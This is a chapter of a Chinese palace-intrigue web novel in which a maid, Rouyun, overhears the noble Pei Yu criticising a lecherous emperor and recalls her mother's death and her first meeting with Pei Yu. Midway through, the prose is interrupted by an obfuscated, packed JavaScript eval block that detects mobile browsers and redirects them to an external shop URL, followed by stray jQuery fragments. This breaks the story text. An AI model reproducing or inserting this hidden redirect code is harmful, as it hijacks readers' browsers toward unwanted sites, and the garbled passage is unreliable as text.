“听闻陛下近日又新纳了一位婕妤娘娘。”
院内,卫珂垂头向裴瑀回禀,语气低而谨慎,“据说……这回是从荆州某一户八品官家中‘接’来的,那位大人不堪夺妻之辱,如今重病在床,眼见着是要不行了。”
裴瑀的脚步踩在断落的枯枝上,发出一道刺耳的喀啦声。
“无人进言?”
“无人进言。”
裴瑀背着手,遥遥望向远处殷红的落日,沉默着,不知在想些什么。
“新婕妤入宫的事依旧是皇后娘娘一手张罗的。”卫珂又追加了一句,“国公爷那边也去争取过了,只是……”
只是他们每次都于这种事上谏言,皇帝早已听不进去。
“水能载舟亦能覆舟,陛下当真是不明白这个道理。”裴瑀淡淡道,“……不过想来也要不了多久了。”
卫珂没敢接这话,怕被旁人听去,于是四下环顾了一下。
没承想竟当真与一人的目光撞上。
“柔筠姑娘,你怎在此处?”他下意识回看了自家公子一眼,语气有些紧绷。
裴瑀缓缓转身,平静的眸中略带些锋锐。
柔筠与他目光相接,略顿了一下,面上没有露出任何旁的表情,上前一步跟裴瑀请安。
“驸马,宫中派人传话来问,上回转交给您的东西是否有什么不解之处?倘若有的话,尽可以说,陛下也好再寻人替您解答。”
柔筠虽不知宫人替皇帝转交的是什么东西,但也只是出于职责过来询问。
没想到会撞上他们方才的谈话。
她相握的手心有些汗湿,心中却有另一股思绪翻起涟漪。
“你们还真是……欺人太甚!”即便一开始对柔筠有着些不错印象,听到她这话,卫珂也忍不住想要替自家公子打抱不平起来。
然而裴瑀出言制住了他:“卫珂。”
卫珂闭了嘴,只是看向柔筠的目光中还是带了些愤愤。
裴瑀审视的目光落在柔筠身上。
“奴婢不明白卫侍卫的意思。”柔筠既不解卫珂之意,身子又有些僵,只是循着本能道,“但承蒙裴世子关照,倘若有什么奴婢能够帮得上忙的,您也尽管开口。”
裴瑀转过身来,缓缓朝她的方向行了两步。
一阵馨香随风送来。
裴瑀在她面前站定脚步。
“柔筠姑娘这是何意?”他垂眸,黑沉的眸中似乎有笑意,但又像是危险的试探。
柔筠感到些莫名的心慌意乱。
她指间轻颤,张了张口,最终却没敢再深言,只掩饰道:“奴婢是说,您既是沈扬公子的挚友,又应承了沈公子的请求,奴婢自当也该投桃报李。”
裴瑀的目光在她纤长而扑扇着的睫毛上停留片刻。
睫毛之下,仍是那双映着星光,颇有灵气的眼睛。
柔筠下意识避开他的目光。
于是星光也被敛去。
安静片刻,裴瑀的神色缓缓由沉暗转为惯常的温和,仿佛什么都没有发生过一般,微微笑了一下,“姑娘身上的香粉味道,倒似与殿下房中的如出一辙。”
他突然将话题转到什么香粉,柔筠愣了一下,旋即心中微紧,觉得浑身都不自在起来。
他这是……在怀疑什么了?
而一旁的卫珂则是忽然瞪大了眼睛,看向自家主子的目光中有些难以置信。
这般略显轻佻的话,当真是他性格沉稳的主子说出口的?
旁人倒也罢了,可这柔筠姑娘,不说今日如何,毕竟也是沈公子先前托付给世子的心上人啊。
卫珂的眉目纠结起来。
“驸马心细如发,”柔筠定了定心神,“殿下手笔大方,时常会赏赐我们这些下人,拿着自己常用的东西来赏赐也是有的,是以或许会有相似之处。”
裴瑀挑了下眉:“如此。”
柔筠答得艰难:“确是如此。”
……
“世子,柔筠姑娘方才定然是听到那些话了。”卫珂语带懊恼,跪地抱拳,“是属下失职,没有察觉,请世子责罚。”
裴瑀闭着眼睛思索什么,没有说话。
“世子是打算相信她的话了吗,就这么放她回去?”卫珂微微抬头,“方才她说承蒙关照……可是世子虽然说应承了沈公子,却也还并没有真的关照过什么,这分明是她情急之下信口胡诌的的托词吧?”
他小心翼翼,又有些着急地问:“她是二公主的心腹,您当真不怕她去二公主面前告密,这可是会影响到咱们的大计……”
裴瑀终于缓缓睁眼。
“无妨。”裴瑀的目光落向早已没有人影停留的大门,心中有种说不出的熟悉感呼之欲出。
他眯了眯眸子,修长的手指在背后轻捻了一下,声音几乎没有在风中留下痕迹,“似乎……先前应曾在何处见过。”
*
回去复命的路上,柔筠的情绪有些低落。
卫珂所料不错,她的确是听到了裴瑀与卫珂的对话。
也正因如此,她情绪不稳,方才才险些不经思考说了些不该轻易说的。
但,这也让柔筠回想起了第一次见到裴瑀的情形。
彼时她还没随二公主建府出宫,母亲刚去世不久,才被皇后接到身边做宫女,行动较为自由。
柔筠对自己母亲的死因心知肚明,因为母亲给她留了遗物。
皇后自己生不了儿子,便接了她母亲这个貌美的远房妹妹过去,希望皇帝如果能看上眼,便可以收用。
原因很简单,因为她的母亲徐清芝容貌绝色,且育有一子,是个既能符合皇帝喜好,又能生儿子的极佳选择。
只是可惜的是,徐清芝性子刚烈,皇帝又少见如此绝色,一不小心下手狠了些,人便没扛过去,就这么去了。
皇帝宠幸妃嫔,惯来不在乎对方是否清白,是否嫁人,是否生子。但是他同时又要面子,不许消息泄露一分半毫。
故而但凡被夺妻之家,只能选择将这口气忍下,对外宣称妻子已死,或是宁折不弯,最后毁在皇帝磋磨的手段之下。
而顾家不同。
顾家有求于皇后,得知此事之后,二话没说,直接便对外宣称了徐清芝的死亡,甚至连徐清芝所生的两个孩子,都直接被从族谱里给划了出去,全然像是族中不曾有过他们一般,连续娶都十分迅速。
徐清芝是顾家大房顾盛良的正妻,育有柔筠和阿庭一女一子,多年来持家严谨,孝顺公婆。然而即便如此,也没能让顾家在舍弃掉她与两个嫡子嫡女的时候,生出半分犹豫。
柔筠恨透了皇帝,恨透了皇后,更是无比痛恨顾家。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932041|208837||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
于是她与弟弟皆改姓徐,随了母姓。
她誓要替母亲报此仇,于是借着皇后将她接入宫中的契机,顺势而为,多年蛰伏,初时就是希望能够借这一张与母亲相似的美貌面容,能入了皇帝的眼,然后伺机报仇。
为此她甚至悄悄研究过许多那种图谱,就是为了能从中找出适宜下手的机会。
然而最终因为二公主的干预,她几乎再没有机会接近皇帝。
在宫中的时日,她没能等到复仇的机会,却见证了一个又一个与母亲境遇相似的妇人或少女的死亡。
即使后来她在宫中有了许多自己的人,尽力出手相帮,偶有个别能够逃过的,另外大多也不过只是延长了她们忍受痛苦的生命时长,终究是不治本。
皇帝昏聩荒淫,实乃天下之大不幸。
朝野之上,柔筠只听闻敬国公裴宏旷,曾当堂替自己的母亲及那些女子出言劝谏、乃至与皇帝争执争吵。
随着时日见长,又多了一个世子裴瑀。
而柔筠自己,只要有机会,她都会去送那些不幸死去的女子最后一程,或目送,或悄悄替她们祭奠一二,以寄哀思。
她也就是在某一次祭奠之时偶遇裴瑀。
那日她休沐,得了恩准出宫探望徐庭,路过水边时便特意放了两盏莲花灯。一盏给那些女子,一盏给她的母亲。
两手合十闭目再睁后,她看到了对面桥上站着的裴瑀。
他那时也才十五六岁的年纪,目光却深沉如墨,凝在那两盏灯上,目送着它们远去。
裴瑀不认得柔筠,然而柔筠却认得裴瑀,也知道裴瑀是刚与皇帝吵完出宫。
鬼使神差地,她又买了一盏莲花灯,走到了裴瑀的身边。
“公子,可要放一盏莲灯?”她那时也不过十一二岁,声音脆脆嫩嫩的,看向裴瑀的目光却格外认真。
大约以为柔筠是卖灯的丫头,裴瑀回神后,本能地冲她笑了一下,伸手接过了莲灯,在她的手上放了几钱碎银。
但他却并没有放那盏莲灯。或许是因为觉得还不到时候。
他只是手中捧着那盏莲灯,望向水面远处已经渐渐消失的两点微芒。
“总有一日,我会替他们讨回公道。”少年的声音,低沉青涩,却与他漆黑的目光一样坚定。
那一夜的裴瑀,是柔筠心中最美好的少年模样。
后来裴瑀随父上了战场。再后来回到京中,解甲,做了礼部侍郎。
但柔筠始终都忘不掉,数年前那一夜少年紧绷的下颌,与那让她莫名眼眶酸涩的坚定目光。
……
柔筠揉了揉自己发涨的眼眶,抬头看了看天。
所以刚刚那一瞬间,她几乎想要将一切和盘托出。
然而最终她还是犹豫了。
她还没有想好到底要不要对裴瑀说出二公主荒唐主意的真相。因为她无法保证事情说开之后,将会往哪个方向进行。
虽然她愿意相信裴家人的人品,但他却只知道她是二公主身边的人,对她还不够了解,不见得会信任,她不敢轻易作赌。
但若不说开,一切虽然还在轨迹上,却很是对不住被蒙在鼓里的裴瑀。并且这样对她来说十分难堪的日子还要持续许久。
柔筠一时陷入两难。
如此……她到底该如何选呢?